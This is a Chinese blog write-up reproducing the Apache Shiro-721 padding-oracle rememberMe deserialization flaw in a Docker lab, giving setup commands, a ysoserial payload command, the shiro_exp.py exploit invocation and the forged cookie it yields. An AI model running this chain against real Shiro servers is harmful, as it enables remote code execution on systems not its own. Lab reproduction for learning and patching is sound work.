Shiro历史漏洞复现 - Shiro-721

news2024/11/13 9:21:28

文章目录

  • 漏洞原理
  • 影响版本
  • 特征判断
  • 环境搭建
  • 漏洞复现

漏洞原理

Shiro rememberMe 反序列化远程代码执行漏洞

由于 Apache Shiro cookie 中通过 AES-128-CBC 模式加密的 rememberMe 字段存 在问题,用户可通过 Padding Oracle 加密生成的攻击代码来构造恶意的 rememberMe 字段,并重新请求网站,进行反序列化攻击,最终导致任意代码执行

rememberMe cookie 通过 AES-128-CBC 模式加密,易受到 Padding Oracle 攻击。可以通过结合有效的 rememberMe cookie 作为 Padding Oracle 攻击的前缀,然后精⼼制作 rememberMe 来进⾏反序列化攻击。

Tip:在1.2.4版本后,shiro已经更换 AES-CBC 为 AES-GCM ,无法再通过 Padding Oracle 遍历 key 。

影响版本

Apache Shiro <= 1.4.1(需要一个合法的登录账号,基于Padding Oracle attack来实现的攻击)

参考链接:https://www.jianshu.com/p/833582b2f560

特征判断

由于漏洞利用需要一个合法的登录账号,这里利用账号正常登陆获取一个有效的rememberMe cookie ,并记录下这个rememberMe的值

环境搭建

Docker基础操作

docker pull vulfocus/shiro-721

docker run -d -p 8080:8080 vulfocus/shiro-721

访问靶场地址,即可搭建成功

http://192.168.88.130:8080/login.jsp

漏洞复现

使用正确的用户和密码,勾选rememberMe,使用burp代理,获取返回的rememberMe值。

认证成功则不会设置deleteMe的cookie

认证失败时会设置 deleteMe 的 cookie

deleteMe 的 cookie

bVZT3bzgT/0t714w/WmYr3EP081Z0qO7gaUMGC90GK/R019JeYL+64UgucSB8COn6jlzV10THzZP0okwQ/Fs75d2XAvhepUV8RxgSWhFEWQLNq4nXw1ESgbiAQb9KyMd/nwgT9goYuMOERIbNA6Ay5AWRtuLvEaRmSTYPwxampXbnG2JlSXms45L6uqM2ek4X3y6ZSiZM80XbZUyXdOBP+EN8TuRhO+bS8N8jEWaj/uAtNZY8m94m11/SIPk1nBGfGzpcU3WIbT4R3feHaOkCHYLTuLxif1q6rItx5eICS5q8B4qVrTESf2XCFgaGp2FxlZ18AjpTOF4gwQ7cLEM7L49BhvxpAlj4w0GMOuyk27OKdUIh3+RK5qT7Dgp3fGWbEZrqyu6MCAG0TmKY2vKE1peLRNEAuQJapRU/FCVcSfSolxIMHSHb/WzBpcLehOC5Jslb5hekliouggjfNfTV6fSuvz1hLIfix2IiRwmiM/ns3xAVVsBwOc+1SxLqpt2

使用ysoserial工具生成payload

java -jar ysoserial.jar CommonsBeanutils1 "touch /tmp/1" >
payload.class

#"touch /tmp/1" 在tmp目录写入1

使用刚才burp获取到的deleteMe cookie值作为prefix,加载Payload,进行Padding Oracle攻击

脚本链接:https://github.com/wuppp/shiro_rce_exp

python shiro_exp.py http://192.168.88.130:8080 [rememberMeCookie] payload.class

python2 shiro_exp.py http://192.168.88.130:8080 bVZT3bzgT/0t714w/WmYr3EP081Z0qO7gaUMGC90GK/R019JeYL+64UgucSB8COn6jlzV10THzZP0okwQ/Fs75d2XAvhepUV8RxgSWhFEWQLNq4nXw1ESgbiAQb9KyMd/nwgT9goYuMOERIbNA6Ay5AWRtuLvEaRmSTYPwxampXbnG2JlSXms45L6uqM2ek4X3y6ZSiZM80XbZUyXdOBP+EN8TuRhO+bS8N8jEWaj/uAtNZY8m94m11/SIPk1nBGfGzpcU3WIbT4R3feHaOkCHYLTuLxif1q6rItx5eICS5q8B4qVrTESf2XCFgaGp2FxlZ18AjpTOF4gwQ7cLEM7L49BhvxpAlj4w0GMOuyk27OKdUIh3+RK5qT7Dgp3fGWbEZrqyu6MCAG0TmKY2vKE1peLRNEAuQJapRU/FCVcSfSolxIMHSHb/WzBpcLehOC5Jslb5hekliouggjfNfTV6fSuvz1hLIfix2IiRwmiM/ns3xAVVsBwOc+1SxLqpt2 payload.class
Usage: shiro_exp.py <url> <somecookie value> <payload>

中间需要很长时间

爆破成功,返回了rememberMe cookies的值

6ug1zz4BAzMfEGfqrLBO34ZfOOFO0Ucw/ocfmVCcPBdK2rQmjzPdMczCUTDsYz2M2Fbvq4zYKW4ffu8uBOqWdkyf1RmCM0LdoVLUMqTmqcdxPS0S9noRnrPEtb8UjxyWAXnZQGyEhIF3svbLkcEQIOKk+4ER3rE+6v4pq0JeEELL03FfrMfm8LudHC/FqxDuacnZv1pA2gRJguVe7Y/bSVxqqAli/TT4Cz9i6rbFl6MQSkIsXfa9UZI/wcSgH3CswahR5vF4fgm5Apr7k8hA/DqI8EqqKJQgqp+RuzmYCcMsw5/I4DDr1O7M3Nx16k7AVobuvauJDNC9r2yngVWxzSlk8fBVr6G2Jc+kNRJE1k68EhlHjTAFcV9LDzVK7rVOJmOkK+iJOwxi1T2i8bCV1fPB0bHJ2JifbtKXt1P3aQHdbZ6FbpL+2AbLYekZvwYDeOWrkxoWESRgdV3RwhMmwazgiZ1Pi5jrqhTYYeAdsEwNsmDJvkbsXBgyMmDbwE3E/rFKHEFyQD0bT54CP6UvAwgKH4dlK9fZQwMAL1iOWOxp+G/3U67RBxjzNLZ2UhG3yinc3ay4j1iQQfHh+9csRCNkLcwYwELkc8IW8OqOa1IQ0doQz0U+eEXz8vVWRKB09B263x9KUlxFkjctG/7WAAFTn2kv1kOe/lmWqZOOWbwbkhTGfi/X4rodZ0wbxBChonp7CWGeDDwDOhDWQePZaxgZ0ySEFE56NE/YkHl4l0Y2BlbDcPj7URgl+eAtQae8GZE9q+/UUrdSreH2AsON4E1WDJFzZRTn5yp5fBhJ7MZvWCFRyDISdU5kq5NIboG2VCHoud3zF0Cv5kygVfRrP7qa/83YprxQABqnrMZsxVxrLshK9VfzP1QXQ+copmNdtwZF/4n5p1ry/AYTs1qYYebc0X9l0KA9e9iLej/PMCQdrG8cTiwoBeZ5oxGK4aIc2mEGmH6xU4Y6PCXWda18Ux6LDEF7Zo5baBq4Wedn3+fW0sZAAUY1aPTMjQ+evgornrtU3mt2Zl3W9nor385RUHaOV6DSuw+rFW7zoeIyKVVjWXH7DDq14/EuFdao3lJd3pNkzRI1aeWEdNEyL+eysi8q2wR12pnMZthoiXIENBvDSYwdR/NXUob24TteBoMmC0DH3scFaIO+r2qoRMigg5ZJvuMLcKoDMKWrfTiv/jDIdo/lNwSgmhGSrHFKmpxC2D1P98iCzBU5VrH/AbipzhLKKFo6uczwxwRAauu/ityKgYYqsuHf7MqS+6yNDLoc5iPAD4gZ92+MEeIqq9/NdFy3DrcZ0bNK/FpUAT5T1oAnP3PcaZOseD+9e8JZJavOm+xsqv/0zly92Q3Fk6A9UNtVMXljS2fUWU1If6LTcCFQ26IHIfKIjxqGaB+1gEMeGcvuLBZ4lAaE2/yhRa4kswAAAAAAAAAAAAAAAAAAAAA=

访问靶场地址用burp抓包,添加上面爆破出来的remeberMe值

去靶场服务器查看 /tmp 目录下是否创建了 1 的文件

docker exec -it 035 /bin/bash

漏洞利用成功!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/139144.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

111.(leaflet之家)leaflet椭圆采集

听老人家说:多看美女会长寿 地图之家总目录(订阅之前建议先查看该博客) 文章末尾处提供保证可运行完整代码包,运行如有问题,可“私信”博主。 效果如下所示: 下面献上完整代码,代码重要位置会做相应解释 <!DOCTYPE html> <html>

yolov4/yolov4-tiny保姆级训练教学

目录 一、pytorch环境搭建 1.创建新环境 2.激活环境 3.按照版本下载 二、labelimg的安装 三、数据处理部分 1、rename数据文件 2、数据加强 四、yolov4训练过程 五、租用GPU 一、pytorch环境搭建 在安装anaconda的前提下 在编译器pycharm的终端 1.创建新环境 conda …

15.3 event loop 事件循环

event loop 事件循环 start 最近这段时间一直在研究 javascript 中的事件循环&#xff0c;看了不少相关视频和文章。学习完知识后&#xff0c;虽然对 javascript 的代码执行顺序&#xff0c;能够正确判断。但是当我想将理论知识用自己口头语言表达出来的时候&#xff0c;发现…

函数 ~~~

函数 目录&#xff1a;函数函数概述函数类型函数定于与声明函数参数引用函数可变函数函数可变参数 使用函数默认参数函数返回值函数嵌套调用函数递归内联函数内联函数与普通函数区别函数重载函数概述 C语言中的函数在其他编程语言中也称为过程或子例程。 我们可以创建函数来执…

小游戏引擎选型注意事项

写在前面 前面写了几期有关于小游戏的文章&#xff0c;主要从小游戏开发、小游戏运营、小游戏变现等多个角度进行了较为粗略的介绍&#xff0c;很多同学表示对小游戏引擎部分很感兴趣&#xff0c;希望能够有一些更为深入的分析介绍。今天就对目前主流的小游戏引擎进行探讨。 …

短短一年,市值抹去三分之一 跌落高坛的苹果

美东时间1月3日&#xff08;周二&#xff09;&#xff0c;苹果&#xff08;AAPL&#xff09;收报125&#xff0e;07美元&#xff0c;跌幅3&#xff0e;74&#xff05;&#xff0c;市值降至1.99万亿美元&#xff0c;2万亿美元市值俱乐部中的最后一家就此陨落。此前微软和石油巨头…

电影《绝望主夫》观后感

上周的时候&#xff0c;看了开心麻花的电影《绝望主夫》&#xff0c;讲的是一对夫妇整个世界对换的故事&#xff0c;即丈夫整个继承了妻子世界&#xff0c;妻子继承了丈夫世界观&#xff0c;这确实给人了一种新的视角&#xff0c;一个对调视角。 记得以前刷视频的时候&#xff…

算法之回溯算法

目录 前言 如何理解回溯算法 两种回溯算法的经典应用 1.0-1背包 2.正则表达式 总结 参考资料 前言 很多经典的数学问题都可以用回溯算法解决&#xff0c;比如数独、八皇后、0-1 背包、图的着色、旅行商问题、全排列等等。用来指导像深度优先收索这种经典的算法。 如何理…

2021 CCF “计算之美”学术大会参会总结

最近在回顾读研以来参加过的大大小小的学术会议记录&#xff0c;在此整理记录之。 前言 2021年6月12日&#xff0c;2021年CCF“计算之美”——新基建时代产、教、研、地融合学术大会在海上丝绸之路起点宁波成功举办。近200人参与本次大会&#xff0c;40余位嘉宾带来精彩分享&…

pwr | 谁说样本量计算是个老大难问题!?(三)(配对样本与非等比样本篇)

1写在前面 之前我们介绍的基于发生率或者均值进行样本量计算的方法&#xff0c;但都是在组间进行计算。&#x1f914; 有的时候我们需要获取组内变化&#xff0c;进行样本量计算。&#x1f92b; 常见的就是配对样本&#xff0c;比如相同受试者进行多个时间点的观察&#xff0c;…

Navicat远程连接禅道一键安装在Linux的MySQL数据库

禅道一键安装的数据库&#xff0c;默认只能在服务器本机访问。远程访问须进行配置&#xff0c;本文说明具体的配置方法&#xff0c;并且已经过验证。 1、首先检查对应的端口是否开放&#xff0c;默认端口为3306. 2、连接到禅道自带的网页版数据库 3、执行SQL创建一个新角色 …

外贸人需要知道的销售技巧有哪些?

外贸销售技巧米贸搜整理如下&#xff0c;希望对你有所帮助:第一步:准备好。没有准备意味着为失败做准备&#xff0c;没有计划意味着为破产做打算。这是为什么呢&#xff1f;因为你不知道你这次要谈什么&#xff0c;所以你首先要做的是准备好整个谈话的结果。第一&#xff0c;我…

PDF能转换成PPT吗?该怎样转换?

PDF能转换成PPT吗&#xff1f;当然是可以的啦&#xff01;我们在工作时候经常需要将PDF文件转换成各种格式的文件&#xff0c;这样可以更方便我们处理各种文件&#xff0c;PPT文件可以用来汇报、展示工作内容等&#xff0c;是我们经常使用的文件类型之一&#xff0c;所以有时候…

Linux文件描述符fd详解重定向原理

文章目录什么是文件描述符fd&#xff1f;文件描述符的分配规则重定向的原理什么是文件描述符fd&#xff1f; #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #include <sys/stat.…

AppScan 是一款web安全扫描工具

AppScan介绍&#xff1a; AppScan是IBM的一款web安全扫描工具&#xff0c;主要适用于Windows系统。该软件内置强大的扫描引擎&#xff0c;可以测试和评估Web服务和应用程序的风险检查&#xff0c;根据网站入口自动对网页链接进行安全扫描&#xff0c;扫描之后会提供扫描报告和修…

2022 中国白帽人才能力与发展状况调研报告

声明 本文是学习2022中国白帽人才能力与发展状况调研报告. 下载地址 http://github5.com/view/55039而整理的学习笔记,分享出来希望更多人受益,如果存在侵权请及时联系我们 中国白帽人才能力与发展状况调研报告 2022.11 补天漏洞响应平台 奇安信行业安全研究中心 概述 …

元数据管理Datahub架构讲解

目录1. 概述2. 各模块介绍2.1 Metadata Store​2.2 Metadata Models2.3 Ingestion Framework2.4 GraphQL API2.5 User Interface3. Ingestion Framework的架构3.1 Metadata Change Event(MCE)3.2 Pull-based Integration3.3 Push-based Integration​3.4 Applier(mce-consumer)…

CAN学习资料汇总

先简单做个汇总&#xff0c;细节稍后再逐一写出来 CAN&#xff0c;CANOpen与OSI七层协议的关系 CAN CAN是控制器局域网络(Controller Area Network, CAN)的简称&#xff0c;是由以研发和生产汽车电子产品著称的德国BOSCH公司开发的&#xff0c;并最终成为国际标准&#xff08;…

暴涨1000w播放!B站爆款恰饭,弹幕刷屏“上链接”

12月27日&#xff0c;在2022 AD TALK bilibili营销伙伴大会上李旎谈到B站第一批主流用户大多数已经进入28-30岁的阶段&#xff0c;近亿的用户开始对内容的需求有了新的变化。除此之外&#xff0c;B站近几年的用户增长速度亮眼&#xff0c;2022年第三季财报显示平台日活用户已经…

动态内存管理(15)

目录 1、动态内存函数的介绍 1、malloc 2、free 3、calloc 4、realloc 2、常见的动态内存错误 3、C/C程序的内存开辟 4、柔性数组 1、定义 2、柔性数组的特点&#xff1a; 3、使用 1、动态内存函数的介绍 1、malloc malloc 向堆区申请一块连续可用的空间&#xff…